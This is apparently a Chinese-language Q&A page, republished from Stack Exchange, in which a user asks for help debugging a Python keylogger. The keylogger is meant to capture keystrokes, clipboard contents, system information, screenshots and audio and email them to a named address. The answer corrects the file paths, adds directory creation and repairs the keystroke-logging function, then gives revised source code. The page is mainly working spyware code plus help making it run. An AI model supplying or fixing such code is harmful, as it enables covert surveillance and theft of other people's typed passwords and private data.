Python键盘记录器FileNotFoundError问题求助:指定目录不存在
问题解决:Python键盘记录器文件创建报错
问题描述
我正在编写一个Python键盘记录器,计划将按键记录、剪贴板信息和计算机信息发送至指定邮箱。程序会创建3个文件分别存储上述信息,预期文件不存在时会自动创建,但实际运行时出现错误。
报错信息
Traceback (most recent call last): File "d:\keyylogger20.0\kelogger3.0.py", line 125, in <module> computer_information() File "d:\keyylogger20.0\kelogger3.0.py", line 110, in computer_information with open(file_path + extends + informations_du_systeme, "w") as f: FileNotFoundError: [Errno 2] No such file or directory: 'C:\\Users\\Documents\\info_sys.txt'
解决方案
1. 修正错误的文件路径
报错核心原因是你指定的C:\Users\Documents路径不存在——Windows系统中,用户的Documents目录路径应为C:\Users\<你的用户名>\Documents,你遗漏了用户名部分。
修改file_path的定义,利用已获取的username变量拼接正确路径:
# 替换原来的file_path定义 file_path = os.path.join("C:\\Users", username, "Documents") # 或者更简洁的跨平台写法: file_path = os.path.expanduser("~\\Documents")
同时,不要手动拼接路径分隔符,改用os.path.join确保兼容性:
# 替换原来的extends和file_merge file_merge = os.path.join(file_path, "")
2. 确保目标目录存在
即使路径正确,也可能存在目录未创建的情况,在写入文件前添加目录检查与创建逻辑:
在调用computer_information()、copy_clipboard()等函数前,添加:
# 确保目标目录存在,不存在则自动创建 os.makedirs(file_path, exist_ok=True)
3. 修复write_file函数的文件关闭问题
你的write_file函数存在逻辑错误:在循环内每次写入后就关闭了文件,导致后续按键无法写入。删除循环内的f.close(),with语句会自动管理文件的打开与关闭:
def write_file(keys): with open(os.path.join(file_path, keys_information), "a") as f: for key in keys: k = str(key).replace("'","") if k.find("space") > 0: f.write('\n') elif k.find("key") == -1: f.write(k)
4. 关键修改后的代码片段
# ... 其他导入语句 ... import getpass from requests import get import os # 确保已导入os模块 #Libraries pour recuperer les captures d'ecran from multiprocessing import process, freeze_support from PIL import ImageGrab keys_information = "key_log.txt" informations_du_systeme = "info_sys.txt" Information_Du_Press_Papier = "Press_Papier.txt" audio_information = "audio.wav" screenshot_info = "Capture.png" # ... 其他变量定义 ... username = getpass.getuser() toaddr = "sherlockhack083@gmail.com" # 修正文件路径 file_path = os.path.join("C:\\Users", username, "Documents") # 确保目录存在 os.makedirs(file_path, exist_ok=True) # ... 其他函数定义 ... def write_file(keys): # 使用os.path.join拼接路径 with open(os.path.join(file_path, keys_information), "a") as f: for key in keys: k = str(key).replace("'","") if k.find("space") > 0: f.write('\n') elif k.find("key") == -1: f.write(k)
内容的提问来源于stack exchange,提问作者sherlock
相关产品推荐
相关产品推荐

